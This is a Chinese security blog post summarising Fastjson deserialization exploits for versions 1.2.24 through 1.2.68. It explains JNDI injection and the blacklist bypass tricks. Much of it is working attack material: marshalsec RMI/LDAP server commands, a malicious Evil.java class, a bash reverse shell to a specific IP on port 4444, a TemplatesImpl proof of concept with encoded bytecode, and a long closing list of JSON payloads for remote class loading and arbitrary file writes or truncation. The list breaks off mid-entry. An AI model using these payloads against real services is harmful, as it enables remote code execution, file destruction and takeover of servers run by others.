Java反序列化(十二) | Fastjson②1.2.24-68总结

Java反序列化(十二) | Fastjson②1.2.24-68总结

d6f4f94ea4a2b76fab2ddb467acaf5e3.png

介绍什么的就不说了,简介以及1.2.24的复现和详细分析可以看 Java反序列化(十) | Fastjson - CVE-2017-18349

需要注意的是在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能够从指定codebase中下载字节码。

整个利用流程如下

1.首先开启HTTP服务器,并将我们的恶意类放在目录下
2.开启恶意RMI服务器
3.攻击者控制url参数为上一步开启的恶意RMI服务器地址
4.恶意RMI服务器返回ReferenceWrapper类
5.目标(JNDI_Client)在执行lookup操作的时候,在decodeObject中将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码

远程加载服务: rmi ldap

1.反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
2.RMI是一种行为,指的是Java远程方法调用。
3.JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
4.ldap指轻量级目录服务协议。

JDK版本限制

基于rmi的利用方式:适用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前;
在jdk8u122的时候,加了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

开启JNDI

#RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#Evil" 9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://47.99.70.18/#Evil" 9999

执行恶意代码反弹shell

 Runtime rt = Runtime.getRuntime();
 String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/47.99.70.18/4444 0>&1"};
 Process pc = rt.exec(commands);
 pc.waitFor();

fastjson <= 1.2.24

原理: 漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。

Evil.java

import java.lang.Runtime;
import java.lang.Process;

public class Evil {
  static {
      try {
          Runtime rt = Runtime.getRuntime();
          String[] commands = {"curl", "http://47.99.70.18:4444"};
          Process pc = rt.exec(commands);
          pc.waitFor();
      } catch (Exception e) {
          // do nothing
      }
  }
}
$ javac Evil.java
$ python -m http.server 80
$ git clone https://github.com/mbechler/marshalsec.git
$ apt-get install maven
$ mvn clean package -DskipTests
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#Evil" 9999

POST请求exp:

{
"b":{
          "@type":"com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName":"rmi://47.99.70.18:9999/Evil",
          "autoCommit":true
    }
}

fastjson <= 1.2.46

发送payload前将Content-Type修改为application/json

{
"a":{
          "@type":"java.lang.Class",
          "val":"com.sun.rowset.JdbcRowSetImpl"
      },
      "b":{
          "@type":"com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName":"rmi://172.16.65.10:9999/Exploit",
          "autoCommit":true
    } 
}
$ javac Evil.java
$ python -m http.server 80
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#Evil" 9999

fastjson <= 1.2.41

fastjson判断类名是否以L开头、以;结尾,是的话就提取出其中的类名再加载

exp:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://47.99.70.18:9999/Evil", "autoCommit":true}

fastjson <= 1.2.42 漏洞

1.2.42 版本新增了校验机制,如果输入类名的开头和结尾是l和;就将头和尾去掉,再进行黑名单验证。
所以绕过需要在类名外部嵌套两层L;

类名:com.sun.rowset.JdbcRowSetImpl 
绕过:LLcom.sun.rowset.JdbcRowSetImpl;;

exp:

{
    "b":{
        "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
        "dataSourceName":"rmi://47.99.70.18:9999/poc",
        "autoCommit":true
    }
}

fastjson <= 1.2.45漏洞

fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

利用条件:

1)、目标服务端存在mybatis的jar包。
2)、版本需为 3.x.x ~ 3.5.0
3)、autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)

(比较鸡肋)
使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本中被加入了黑名单。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://47.99.70.18:9999/Exploit"}}

fastjson <= 1.2.47漏洞

利用条件:

  • 小于 1.2.48 版本的通杀,autoType为关闭状态也可以。
  • loadClass中默认cache设置为true。

漏洞简介:
首先使用java.lang.CLass把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetlmpl这个类,绕过黑名单机制。

exp:

{
"a": {
          "@type": "java.lang.Class",
          "val": "com.sun.rowset.JdbcRowSetImpl"
      },
      "b": {
          "@type": "com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName": "rmi://47.99.70.18:9999/Evil",
          "autoCommit": true
} }

fastjson <= 1.2.62漏洞

黑名单绕过exp:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://47.99.70.18:9999/Evil"}";

fastjson <= 1.2.66漏洞

利用条件:
autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)
漏洞简介:
基于黑名单绕过。
exp1:

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://47.99.70.18:9999/Calc"}

exp2

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://47.99.70.18:9999/Calc"}

exp3

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://47.99.70.18:9999/Calc"}

exp4

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": 
{"@type":"java.util.Properties","UserTransaction":"ldap://47.99.70.18:9999/Calc"}}

Gadget

以上方式都是通过JNDI远程加载, 实际上前面的各种POC基本都是绕过各种黑名单的限制策略, 除此之外我们还可以使用反序列化达到任意代码执行的目的, 主要的出发点是Java Bean的settergetter方法, 目前可用的调用链我们又可以主要分为三类:

1,基于TemplateImpl
2,基于JNDI Bean Property类型
3,基于JNDI Field类型

后面这些Gadget我根据上面的版本更改都在各个变更点打点调了一遍,不过不想自己动手慢慢写了,发现有个师傅写的挺好的直接贴一下吧。

TemplatesImpl Gadgets

既然最后是可以调用getter方法的,那么可以尝试用之前的TemplatsImpl进行攻击

TemplatesImpl类位于:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,之前学习已经写过很多,这里就不分析了,只写下几个要点:

  • _bytecodes是构造的恶意类代码,且父类是AbstractTranslet,如果父类不是这个则会抛出异常
  • 为了满足漏洞条件,需要_name不为null_factory不为null
  • 由于部分私有变量没有setter方法,所以需要用Feature.SupportNonPublicField参数来触发

现在编写最终POC:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Evil {
    public static void main(String[] args) throws Exception{
        String code = "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQ" +
                "EAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW" +
                "50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcH" +
                "Rpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaG" +
                "UveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaX" +
                "plci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAxhbm90aGVyLmphdmEMAA" +
                "4ADwcAHAwAHQAeAQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcg" +
                "wAHwAgAQAHYW5vdGhlcgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VH" +
                "JhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2" +
                "xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZX" +
                "hlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAw" +
                "AAAAGxAAAAAQAKAAAABgABAAAACQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAAsACwAAAA" +
                "QAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADQAEAA4ADQAPAAsAAAAEAAEAEA" +
                "ABABEAAAACABI=";
        String str = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                "\"_name\":\"o3\"," +
                "\"_tfactory\":{}," +
                "\"_bytecodes\":[\""+code+"\"]," +
                "\"_outputProperties\":{}}";
        //JSON.parseObject(str);
        //System.out.println(JSON.parseObject(str));
        System.out.println(str);
        JSON.parseObject(str,Feature.SupportNonPublicField);
    }
}

JNDI注入 Gadgets

这其实是JdbcRowSetImpl的使用,JdbcRowSetImpl类位于com.sun.rowset.JdbcRowSetImplFastjson反序列化漏洞利用的核心是parseObject利用@type来触发gettersetter,而JdbcRowSetImpl类中就有一个setAutoCommit方法会被执行。

public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

}

this.connnull时便会调用this.connect,默认是满足条件的

private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

可以看到执行了var1.lookup(this.getDataSourceName())其实就是InitialContext#lookup,这个是JNDI注入的核心方法,相当于传入的参数如果为rmi://47.99.70.18:9999/Evil或者ldap://47.99.70.18:9999/Evil那么InitialContext#lookup方法就会远程加载Evil类并进行实例化, 执行实例化就会调用Evil的构造函数,静态代码,然后....懂吧,就任意代码执行了

调用栈:

getObjectInstance:123, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)

Fastjson1.2.25及以上的版本里,直接使用上面的链子是会报错的, 因为官方对之前的反序列化漏洞做了修复,引入了checkAutoType安全机制,默认情况下autoTypeSupport是关闭的,在反序列化时,会检查是否开启了autotype,所以如果没有开启,反序列化就会报错,换句话说也就不能反序列化任意类。在打开了AutoType之后,是基于黑名单和白名单的形式来提供保障的。

com.alibaba.fastjson.parser.ParserConfig的三个主要成员:

autoTypeSupport:默认关闭,用来表示是否开启任意类的反序列化

denyList:反序列化的黑名单

acceptList:反序列化白名单

黑名单:

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

如果开启了autoTypeSupport,则会先使用白名单来判断类名,如果类名在白名单里就直接使用TypeUtils.loadClass来加载类,否则就使用黑名单来判断,一旦匹配成功就会抛出异常。(1.2.24)

如果未开启autoTypeSupport,则会先使用黑名单来判断,一旦匹配成功就会抛出异常,否则使用白名单来判断类名,如果类名在白名单里就直接使用TypeUtils.loadClass来加载类,和上面顺序相反。(1.2.25)

如果结果以上匹配之后发现类名既不在黑名单也不在白名单,那么接下来会进入下面的if语句:

if (autoTypeSupport || expectClass != null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
        }

也就是说只有开启了autoTypeSupport或者expectClass不为null,即指定了Class对象时,才会进行TypeUtils.loadClass的加载

跟进TypeUtils.loadClass的话可以发现其实就是对类名做了一个简单的处理:

1.判断类名是否以[开头,若是的话去掉首字符[后进行类加载

image-20220416044059681

2.判断类名是否以L开头以;结尾,若是的话去掉首字符和尾字符后进行类加载

image-20220416044143161

本地测试POC:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class JNDI {
    public static void main(String[] args) {
        //ParserConfig.getGlobalInstance().setAutoTypeSupport(true);这行代码是为了开启autoType功能,1.2.25默认现在运行即可弹出计算器
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String str = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
                "\"dataSourceName\":\"rmi://127.0.0.1:1099/Test\"," +
                "\"autoCommit\":true}";
        JSON.parseObject(str);
    }
}

我们一般利用的就是第二种情况去掉头尾的字符,但是其实我们也可以利用类名以[开头的情况, 可惜的是直接使用会解析错误, 但实际上在一些附加条件的情况下我还是可以利用的, 到1.2.43就用到了。

Fastjson1.2.42的Gadgets

官方将原本的黑名单检测转为了使用Hash黑名单,这可以防止安全人员通过黑名单类进行逆向分析。此外官方还更新了checkAutoTypeSupport,在里面新增了个判断,如果第一个字符是L,结尾是;,则通过substring将其去除,然后再使用1.2.25中的TypeUtils.loadClass进行类加载。

这个问题也很好解决,直接在首尾各自套多一层就行,最后得到测试POC:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class JNDI {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String str = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
                "\"dataSourceName\":\"rmi://127.0.0.1:1099/Test\"," +
                "\"autoCommit\":true}";
        JSON.parseObject(str);
    }
}

Fastjson1.2.43的Gadgets

修复了上一个版本的双写绕过问题,即如果类名里出现了连续两个L则会抛出异常,所以这里也就不能用L、;来绕过了。之前说过还有个字符:[,但直接使用会解析错误。

截屏2022-04-11 下午11.34.23.png

提示在42处缺个[,在它之前补上,结果又报错了,提示43处缺个{

截屏2022-04-11 下午11.37.54.png

继续补上,运行即可弹出计算器,写出最终POC:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class JNDI {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String str = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +
                "\"dataSourceName\":\"rmi://127.0.0.1:1099/Test\"," +
                "\"autoCommit\":true}";
        JSON.parseObject(str);
    }
}

Fastjson1.2.44、1.2.45的Gadgets

修复了上个版本[绕过的问题,这里会判断类名是否以[开头,如果是,则会直接抛出异常。所以说这个版本是直接把字符串绕过黑名单的方式给封死了。(1.2.43封了LL开头,1.2.44封了[开头)

但是还有另外一个利用点mybatis可以触发JNDI注入

触发点在org.apache.ibatis.datasource.jndi.JndiDataSourceFactory#setProperties()

截屏2022-04-12 上午12.01.58.png

触发InitialContext#lookup,导致了JNDI注入,得到POC:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;

import java.util.Properties;

public class JNDI {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String str = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
                "\"properties\":{\"data_source\":\"rmi://127.0.0.1:1099/Test\"}}";
        JSON.parseObject(str);
        //JndiDataSourceFactory factory = new JndiDataSourceFactory();
        //Properties properties = new Properties();
        //properties.setProperty("data_source", "rmi://127.0.0.1:1099/Test");
        //factory.setProperties(properties);
    }
}

这种方式能被利用的原因主要是以下两点:

  • mybatis未被列入黑名单,且其版本<=3.4.6
  • setProperties方法是setter方法,能被fastjson调用

Fastjson1.2.47的Gadgets

对比hash黑名单可以看到,fastjson在1.2.46版本时就已经把mybatis给ban了,所以上面的所有思路都不行了,现在再仔细来看下checkAutoType

啊额嗯,详细的过程可以去看原文,总结就是去看checkAutoType可以发现下面两个情况

autoTypeSupport为true,进入到它相应的判断语句里,此时在匹配黑名单时,并不会直接抛出异常,而是必须还要满足TypeUtils.mappings里没有该反序列化类的缓存类的条件,紧接着就进入到上面框出来的代码块

autoTypeSupport为false,在到达其判断语句之前,就会先进入到上面框出的代码块

所以这个版本的链子是通杀,可以在不开启autoTypeSupport的情况下进行反序列化的利用。

然后在会在判断autoTypeSupport为true和autoTypeSupport为false的中间部分执行deserializers#findClass

public Class findClass(String keyString) {
        for (int i = 0; i < buckets.length; i++) {
            Entry bucket = buckets[i];

            if (bucket == null) {
                continue;
            }

            for (Entry<K, V> entry = bucket; entry != null; entry = entry.next) {
                Object key = bucket.key;
                if (key instanceof Class) {
                    Class clazz = ((Class) key);
                    String className = clazz.getName();
                    if (className.equals(keyString)) {
                        return clazz;
                    }
                }
            }
        }

        return null;
    }

IdentityHashMap里有很多基础类,如果匹配到,就直接return clazz,然后checkAutoTypeSupport也就return了。接着来到com.alibaba.fastjson.serializer.MiscCodec#deserialze方法,这个类主要用来处理一些不寻常的类(如java.lang.Class#class)它会解析val中的内容,并将其放入objVal里,然后再传入下边代码的strVal

最后跟到TypeUtils#loadClass,在这里通过mappings.get(className)获取的缓存的类,但由于是首次加载,所以肯定是匹配不到的,接着因为默认开启缓存,在后面的代码中它会在里面完成类加载并且写入缓存

image-20220416053520075

所以现在就可以先通过val参数把JdbcRowSetImpl加载到缓存里,然后再通过恶意类的@type请求进行黑名单绕过,编写出总POC:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;

import java.util.Properties;

public class JNDI {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String str = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
                "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"rmi://127.0.0.1:1099/Test\"," +
                "\"autoCommit\":true}}";
        JSON.parseObject(str);
        //JndiDataSourceFactory factory = new JndiDataSourceFactory();
        //Properties properties = new Properties();
        //properties.setProperty("data_source", "rmi://127.0.0.1:1099/Test");
        //factory.setProperties(properties);
    }
}

Fastjson1.2.68的Gadgets

在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。

这个安全修复为 fastjson 带来了一定时间的平静,直到 1.2.68 版本出现了新的漏洞利用方式。

这个版本官方把com.alibaba.fastjson.serializer.MiscCodec#deserialze处理Class类的地方,设置为了cache==false

截屏2022-04-12 下午9.26.09.png

也更新了一个安全控制点safeMode,如果它开启了,则会在checkAutoType中直接抛出异常,换句话说就是完全禁止了autoType。此外官方还将loadClass重载方法的默认调用改为不缓存,所以说1.2.47版本的payload也就不能用了。

对这个版本的fastjson来说,利用的是expectClass绕过checkAutoType

这是checkAutoType函数的一部分代码:

if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

如果expectClass不为null;传入的类名是expectClass的子类或实现类,且不在黑名单中,则会直接return,也就绕过了checkAutoType。现在要做的就是找可控的expectClass传参方式,最终安全人员找到了这两个:

  • ThrowableDeserializer#deserialze
  • JavaBeanDeserializer#deserialze

浅蓝和b1ue师傅已经分析过这两个了:

先跟进下ThrowableDeserializer#deserialze

截屏2022-04-12 下午11.16.53.png

String exClassName = lexer.stringVal();这串代码会获取@type的value,然后将其传入checkAutoType,并且expectClassThrowable.class,再之后就会使用createException来创建异常类实例

截屏2022-04-12 下午11.42.13.png

跟进去,它将messagecause传给了createException处理

截屏2022-04-13 上午10.56.45.png

接着会按照顺序来进行实例化构造方法,参数1类型为String.class,参数2类型是Throwable.class,如果找不到就直接按照参数1类型为String.class,还找不到的话就取无参构造方法。

截屏2022-04-13 下午1.01.42.png

它进行了otherValues的遍历,按照key去调用异常类的set方法,(otherValue是当前 jsonobject 对象中除了@type、message、cause、stackTrace以外的其他字段。)举个例子:假如@typejava.lang.ExceptionotherValues第一条为"msg"=>"hello o3",那么此时就会先实例化Exception对象,然后再去调用exception.setMsg("hello o3")

所以说这里就是set触发的地方,编写异常demo来测试下:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import javafx.animation.FadeTransition;

public class PageException extends Exception{
    private String name;

    public PageException(){
    }

    public String getName(){
        return name;
    }

    public void setName(String name) throws Exception{
        this.name=name;
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

然后构造JSON:
"@type":"java.lang.Exception","@type":"PageException","name":"o3"

截屏2022-04-13 下午1.20.25.png

不过这也只是原理上的打通,现实基本不会将命令执行的方法写进异常类。

这个版本还有通过org.openqa.selenium.WebDriverException类进行信息泄漏的利用,以及JavaBeanDeserializer#deserialze的利用,和Throwable差不多,有分析需求可看浅蓝师傅的文章.

Fastjson1.2.68的文件复写Gadgets

关于1.2.68的Gadget更详细的调试过程可以看浅蓝师傅的文章:https://b1ue.cn/archives/348.html

此外除了上面的异常类触发方式外,浅蓝师傅在fastjson 1.2.68 autotype bypass 反序列化漏洞 gadget 的一种挖掘思路中还说了另一种文件复写的Gadget:

image-20220416060917763

image-20220416060722733

Payloads

最后在这里放一些payload参考使用

JdbcRowSetImpl

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://127.0.0.1:23457/Command8",
    "autoCommit": true
}

TemplatesImpl

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgA...k="],
    '_name': 'su18',
    '_tfactory': {},
    "_outputProperties": {},
}

JndiDataSourceFactory

{
    "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties": {
      "data_source": "ldap://127.0.0.1:23457/Command8"
    }
}

SimpleJndiBeanFactory

{
    "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
    "targetBeanName": "ldap://127.0.0.1:23457/Command8",
    "propertyPath": "su18",
    "beanFactory": {
      "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
      "shareableResources": [
        "ldap://127.0.0.1:23457/Command8"
      ]
    }
}

DefaultBeanFactoryPointcutAdvisor

{
  "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
   "beanFactory": {
     "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
     "shareableResources": [
       "ldap://127.0.0.1:23457/Command8"
     ]
   },
   "adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
   "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}

WrapperConnectionPoolDataSource

{
    "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
    "userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
  }

JndiRefForwardingDataSource

{
    "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
    "jndiName": "ldap://127.0.0.1:23457/Command8",
    "loginTimeout": 0
  }

InetAddress

{
    "@type": "java.net.InetAddress",
    "val": "http://dnslog.com"
}

Inet6Address

{
    "@type": "java.net.Inet6Address",
    "val": "http://dnslog.com"
}

URL

{
    "@type": "java.net.URL",
    "val": "http://dnslog.com"
}

JSONObject

{
    "@type": "com.alibaba.fastjson.JSONObject",
    {
        "@type": "java.net.URL",
        "val": "http://dnslog.com"
    }
}
""
}

URLReader

{
    "poc": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.alibaba.fastjson.JSONReader",
        "reader": {
            "@type": "jdk.nashorn.api.scripting.URLReader",
            "url": "http://127.0.0.1:9999"
        }
    }
}

AutoCloseable 任意文件写入

{
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
    "out": {
        "@type": "java.io.FileOutputStream",
        "file": "/path/to/target"
    },
    "parameters": {
        "@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
        "filename": "filecontent"
    }
}

BasicDataSource

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
  "driverClassLoader" :
  {
    "@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
  }
}

JndiConverter

{
    "@type": "org.apache.xbean.propertyeditor.JndiConverter",
    "AsText": "ldap://127.0.0.1:23457/Command8"
}

JtaTransactionConfig

{
    "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
    "properties": {
        "@type": "java.util.Properties",
        "UserTransaction": "ldap://127.0.0.1:23457/Command8"
    }
}

JndiObjectFactory

{
    "@type": "org.apache.shiro.jndi.JndiObjectFactory",
    "resourceName": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig

{
    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig2

{
    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

CacheJndiTmLookup

{
    "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
    "jndiNames": "ldap://127.0.0.1:23457/Command8"
}

AutoCloseable 清空指定文件

{
    "@type":"java.lang.AutoCloseable",
    "@type":"java.io.FileOutputStream",
    "file":"/tmp/nonexist",
    "append":false
}

AutoCloseable 清空指定文件

{
    "@type":"java.lang.AutoCloseable",
    "@type":"java.io.FileWriter",
    "file":"/tmp/nonexist",
    "append":false
}

AutoCloseable 任意文件写入

{
    "stream":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"java.io.FileOutputStream",
        "file":"/tmp/nonexist",
        "append":false
    },
    "writer":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"org.apache.solr.common.util.FastOutputStream",
        "tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
        "sink":
        {
            "$ref":"$.stream"
        },
        "start":38
    },
    "close":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"org.iq80.snappy.SnappyOutputStream",
        "out":
        {
            "$ref":"$.writer"
        }
    }
}

AutoCloseable MarshalOutputStream 任意文件写入

{
    '@type': "java.lang.AutoCloseable",
    '@type': 'sun.rmi.server.MarshalOutputStream',
    'out': {
        '@type': 'java.util.zip.InflaterOutputStream',
        'out': {
            '@type': 'java.io.FileOutputStream',
            'file': 'dst',
            'append': false
        },
        'infl': {
            'input': {
                'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
                'limit': 22
            }
        },
        'bufLen': 1048576
    },
    'protocolVersion': 1
}

BasicDataSource

{
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassName": "true",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
    }

HikariConfig

{
    "@type": "com.zaxxer.hikari.HikariConfig",
    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

{
    "@type": "com.zaxxer.hikari.HikariConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

{
    "@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
